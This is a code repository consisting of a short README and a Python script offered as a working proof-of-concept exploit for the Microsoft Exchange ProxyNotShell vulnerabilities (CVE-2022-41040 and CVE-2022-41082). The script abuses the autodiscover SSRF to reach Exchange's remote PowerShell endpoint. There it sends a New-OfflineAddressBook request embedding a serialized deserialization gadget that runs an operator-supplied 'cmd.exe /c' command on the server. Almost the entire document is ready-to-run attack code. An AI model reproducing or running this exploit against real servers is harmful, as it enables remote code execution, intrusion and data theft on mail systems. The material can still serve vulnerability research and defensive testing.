├── README.md └── poc_aug3.py /README.md: -------------------------------------------------------------------------------- 1 | ### Working PoC for CVE-2022-41040 and CVE-2022-41082 (A.K.A ProxyNotShell) 2 | 3 | Requirement: 4 | 5 | - pip install requests_ntlm2 requests 6 | 7 | Usage: 8 | ``` 9 | python poc_aug3.py 10 | ``` 11 | 12 | Creds: 13 | 14 | - ProxyShell PoC script from: https://blog.viettelcybersecurity.com/pwn2own-2021-microsoft-exchange-exploit-chain/ 15 | 16 | - Gtsc's blog post 17 | 18 | - https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend 19 | -------------------------------------------------------------------------------- /poc_aug3.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import xml.dom.minidom 3 | import sys 4 | import uuid 5 | import struct 6 | import string 7 | import random 8 | 9 | import warnings 10 | warnings.filterwarnings("ignore") 11 | warnings.filterwarnings("ignore", category=DeprecationWarning) 12 | from requests_ntlm2 import HttpNtlmAuth 13 | import requests 14 | 15 | 16 | proxies = {} 17 | 18 | USER=sys.argv[2] 19 | PASSWORD=sys.argv[3] 20 | CMD=sys.argv[4] 21 | base_url = sys.argv[1] 22 | session = requests.Session() 23 | 24 | 25 | def post_request(original_url, headers, data = None, cookies = {}): 26 | headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" 27 | cookies["Email"] = "autodiscover/admin@localhost" 28 | if "office365" in base_url: 29 | url = base_url + original_url 30 | else: 31 | url = base_url + "/autodiscover/admin@localhost/%s/autodiscover.json?x=a" % original_url 32 | 33 | if data is not None: 34 | r = session.post(url, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies, auth=HttpNtlmAuth('%s' % (USER), PASSWORD)) 35 | else: 36 | r = session.get(url, headers=headers, cookies=cookies, verify=False, proxies=proxies) 37 | return r 38 | 39 | def print_error_and_exit(error, r): 40 | print '[+] ', repr(error) 41 | if r is not None: 42 | print '[+] status_code: ', r.status_code 43 | print '[+] response headers: ', repr(r.headers) 44 | print '[+] response: ', repr(r.text) 45 | raise Exception("exploit failed") 46 | 47 | 48 | 49 | 50 | class BasePacket: 51 | def __init__(self, ObjectId = 0, Destination = 2, MessageType = 0, RPID = None, PID = None, Data = ""): 52 | self.ObjectId = ObjectId 53 | self.FragmentId = 0 54 | self.Flags = "\x03" 55 | self.Destination = Destination 56 | self.MessageType = MessageType 57 | self.RPID = RPID 58 | self.PID = PID 59 | self.Data = Data 60 | 61 | def __str__(self): 62 | return "ObjectId: " + str(self.ObjectId) + ", FragmentId: " + str(self.FragmentId) + ", MessageType: " + str(self.MessageType) + ", RPID: " + str(self.RPID) + ", PID: " + str(self.PID) + ", Data: " + self.Data 63 | 64 | def serialize(self): 65 | Blob = ''.join([struct.pack('I', self.Destination), 66 | struct.pack('I', self.MessageType), 67 | self.RPID.bytes_le, 68 | self.PID.bytes_le, 69 | self.Data 70 | ]) 71 | BlobLength = len(Blob) 72 | output = ''.join([struct.pack('>Q', self.ObjectId), 73 | struct.pack('>Q', self.FragmentId), 74 | self.Flags, 75 | struct.pack('>I', BlobLength), 76 | Blob ]) 77 | return output 78 | 79 | def deserialize(self, data): 80 | total_len = len(data) 81 | 82 | i = 0 83 | self.ObjectId = struct.unpack('>Q', data[i:i+8])[0] 84 | i = i + 8 85 | self.FragmentId = struct.unpack('>Q', data[i:i+8])[0] 86 | i = i + 8 87 | self.Flags = data[i] 88 | i = i + 1 89 | BlobLength = struct.unpack('>I', data[i:i+4])[0] 90 | i = i + 4 91 | Blob = data[i:i+BlobLength] 92 | lastIndex = i + BlobLength 93 | 94 | i = 0 95 | self.Destination = struct.unpack('I', Blob[i:i+4])[0] 96 | i = i + 4 97 | self.MessageType = struct.unpack('I', Blob[i:i+4])[0] 98 | i = i + 4 99 | self.RPID = uuid.UUID(bytes_le=Blob[i:i+16]) 100 | i = i + 16 101 | self.PID = uuid.UUID(bytes_le=Blob[i:i+16]) 102 | i = i + 16 103 | self.Data = Blob[i:] 104 | 105 | return lastIndex 106 | 107 | class SESSION_CAPABILITY(BasePacket): 108 | def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""): 109 | self.Destination = 2 110 | self.MessageType = 0x00010002 111 | BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data) 112 | 113 | class INIT_RUNSPACEPOOL(BasePacket): 114 | def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""): 115 | self.Destination = 2 116 | self.MessageType = 0x00010004 117 | BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data) 118 | 119 | 120 | class CreationXML: 121 | def __init__(self, sessionCapability, initRunspacPool): 122 | self.sessionCapability = sessionCapability 123 | self.initRunspacPool = initRunspacPool 124 | 125 | def serialize(self): 126 | output = self.sessionCapability.serialize() + self.initRunspacPool.serialize() 127 | return base64.b64encode(output) 128 | 129 | def deserialize(self, data): 130 | rawdata = base64.b64decode(data) 131 | lastIndex = self.sessionCapability.deserialize(rawdata) 132 | self.initRunspacPool.deserialize(rawdata[lastIndex:]) 133 | 134 | def __str__(self): 135 | return self.sessionCapability.__str__() + self.initRunspacPool.__str__() 136 | 137 | 138 | class PSCommand(BasePacket): 139 | def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""): 140 | self.Destination = 2 141 | self.MessageType = 0x00021006 142 | BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data) 143 | 144 | 145 | def create_powershell_shell(SessionId, RPID): 146 | print("[+] Create powershell session") 147 | headers = { 148 | "Content-Type": "application/soap+xml;charset=UTF-8", 149 | } 150 | url = "/powershell" 151 | 152 | MessageID = uuid.uuid4() 153 | OperationID = uuid.uuid4() 154 | PID = uuid.UUID('{00000000-0000-0000-0000-000000000000}') 155 | sessionData = """2.32.01.1.0.1""" 156 | sessionCapability = SESSION_CAPABILITY(1, RPID, PID, sessionData) 157 | initData = """11System.Management.Automation.Runspaces.PSThreadOptionsSystem.EnumSystem.ValueTypeSystem.ObjectDefault0System.Threading.ApartmentStateSystem.EnumSystem.ValueTypeSystem.ObjectUnknown2System.Management.Automation.PSPrimitiveDictionarySystem.Collections.HashtableSystem.ObjectPSVersionTablePSVersion5.1.19041.610PSEditionDesktopPSCompatibleVersionsSystem.Version[]System.ArraySystem.Object1.02.03.04.05.05.1.19041.610CLRVersion4.0.30319.42000BuildVersion10.0.19041.610WSManStackVersion3.0PSRemotingProtocolVersion2.3SerializationVersion1.1.0.1System.Collections.HashtableSystem.Object9System.StringAdministrator: Windows PowerShell8System.Management.Automation.Host.Size274727System.Management.Automation.Host.Size120726System.Management.Automation.Host.Size120505System.Management.Automation.Host.Size12030004System.Int32253System.Management.Automation.Host.Coordinates002System.Management.Automation.Host.Coordinates091System.ConsoleColor50System.ConsoleColor6falsefalsefalsefalse""" 158 | 159 | initRunspacPool = INIT_RUNSPACEPOOL(2, RPID, PID, initData) 160 | creationXml = CreationXML(sessionCapability, initRunspacPool).serialize() 161 | 162 | # xpress 163 | request_data = """ 164 | 165 | https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610 166 | http://schemas.microsoft.com/powershell/Microsoft.Exchange 167 | 168 | http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 169 | 170 | http://schemas.xmlsoap.org/ws/2004/09/transfer/Create 171 | 512000 172 | uuid:{MessageID} 173 | 174 | 175 | uuid:{SessionId} 176 | uuid:{OperationID} 177 | 1 178 | 179 | 180 | 2.3 181 | 182 | PT180.000S 183 | 184 | 185 | 186 | stdin pr 187 | stdout 188 | {creationXml} 189 | 190 | 191 | """.format(OperationID=OperationID, MessageID=MessageID, SessionId=SessionId, creationXml=creationXml) 192 | r = post_request(url, headers, request_data, {}) 193 | if r.status_code == 200: 194 | doc = xml.dom.minidom.parseString(r.text); 195 | elements = doc.getElementsByTagName("rsp:ShellId") 196 | if len(elements) == 0: 197 | print_error_and_exit("create_powershell_shell failed with no ShellId return", r) 198 | ShellId = elements[0].firstChild.nodeValue 199 | # print "[+] Got ShellId: {ShellId}".format(ShellId=ShellId) 200 | print "[+] Got ShellId success" 201 | return ShellId 202 | else: 203 | print_error_and_exit("create_powershell_shell failed", r) 204 | 205 | 206 | 207 | def run_cmdlet_new_offlineaddressbook(SessionId, RPID, ShellId): 208 | print "[+] Run cmdlet new-offlineaddressbook" 209 | headers = { 210 | "Content-Type": "application/soap+xml;charset=UTF-8", 211 | } 212 | url = "/powershell" 213 | 214 | name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) 215 | 216 | # commandData = open("psobject_memshell.txt", "rb").read() 217 | commandData = """ 218 | 219 | System.Management.Automation.PSCustomObject 220 | System.Object 221 | 222 | 223 | -Identity: 224 | 225 | 226 | 227 | System.ServiceProcess.ServiceController 228 | System.Object 229 | 230 | System.ServiceProcess.ServiceController 231 | 232 | 233 | Type 234 | 235 | 236 | System.Exception 237 | System.Object 238 | 239 | 240 | AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs= 241 | 242 | 243 | 244 | 245 | 246 | cmd.exe/c {CMD} ]]> 247 | 248 | 249 | 250 | 251 | 252 | """.format(CMD=CMD) 253 | PID = uuid.uuid4() 254 | # print '[+] Pipeline ID: ', PID 255 | print('[+] Create powershell pipeline') 256 | c = PSCommand(3, RPID, PID, commandData) 257 | command_arguments = base64.b64encode(c.serialize()) 258 | 259 | MessageID = uuid.uuid4() 260 | OperationID = uuid.uuid4() 261 | request_data = """ 262 | 263 | https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610 264 | 265 | http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 266 | 267 | http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command 268 | 512000 269 | uuid:{MessageID} 270 | 271 | 272 | uuid:{SessionId} 273 | uuid:{OperationID} 274 | 1 275 | http://schemas.microsoft.com/powershell/Microsoft.Exchange 276 | 277 | {ShellId} 278 | 279 | PT180.000S 280 | 281 | 282 | 283 | New-OfflineAddressBook 284 | {command_arguments} 285 | 286 | 287 | """.format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId, CommandId=str(PID), command_arguments=command_arguments) 288 | r = post_request(url, headers, request_data, {}) 289 | # if r.status_code == 200: 290 | # doc = xml.dom.minidom.parseString(r.text) 291 | # elements = doc.getElementsByTagName("rsp:CommandId") 292 | # if len(elements) == 0: 293 | # print_error_and_exit("run_cmdlet_new_offlineaddressbook failed with no CommandId return", r) 294 | # CommandId = elements[0].firstChild.nodeValue 295 | # # print "[+] Got CommandId: {CommandId}".format(CommandId=CommandId) 296 | # print "[+] Got CommandId success" 297 | # return CommandId 298 | # else: 299 | # print_error_and_exit("run_cmdlet_new_offlineaddressbook failed", r) 300 | 301 | def request_keepalive(SessionId, ShellId): 302 | print "[+] Run keeping alive request" 303 | headers = { 304 | "Content-Type": "application/soap+xml;charset=UTF-8", 305 | } 306 | url = "/powershell" 307 | MessageID = uuid.uuid4() 308 | OperationID = uuid.uuid4() 309 | request_data = """ 310 | 311 | http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive 312 | 313 | 314 | 512000 315 | uuid:{MessageID} 316 | PT20S 317 | 318 | http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 319 | 320 | http://schemas.microsoft.com/powershell/Microsoft.Exchange 321 | uuid:{SessionId} 322 | http://ex01.lab.local/ 323 | 324 | True 325 | 326 | 327 | {ShellId} 328 | 329 | 330 | 331 | 332 | stdout 333 | 334 | 335 | """.format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId) 336 | r = post_request(url, headers, request_data, {}) 337 | if r.status_code == 200: 338 | print "[+] Success keeping alive" 339 | else: 340 | print_error_and_exit("keeping alive failed", r) 341 | 342 | def remove_session(SessionId, ShellId): 343 | print "[+] Run keeping alive request" 344 | headers = { 345 | "Content-Type": "application/soap+xml;charset=UTF-8", 346 | } 347 | url = "/powershell" 348 | MessageID = uuid.uuid4() 349 | OperationID = uuid.uuid4() 350 | request_data = """ 351 | 352 | http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete 353 | 354 | 355 | 512000 356 | uuid:{MessageID} 357 | PT20S 358 | 359 | http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 360 | 361 | http://schemas.microsoft.com/powershell/Microsoft.Exchange 362 | uuid:{SessionId} 363 | http://ex01.lab.local/ 364 | 365 | {ShellId} 366 | 367 | 368 | 369 | """.format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId) 370 | r = post_request(url, headers, request_data, {}) 371 | if r.status_code == 200: 372 | print "[+] Success remove session" 373 | else: 374 | print_error_and_exit("remove session failed", r) 375 | 376 | MessageID = uuid.uuid4() 377 | OperationID = uuid.uuid4() 378 | SessionId = uuid.uuid4() 379 | PID = uuid.UUID('{00000000-0000-0000-0000-000000000000}') 380 | RPID = uuid.uuid4() 381 | 382 | shell_id = create_powershell_shell(SessionId, RPID) 383 | request_keepalive(SessionId, shell_id) 384 | run_cmdlet_new_offlineaddressbook(SessionId, RPID, shell_id) 385 | remove_session(SessionId, shell_id) --------------------------------------------------------------------------------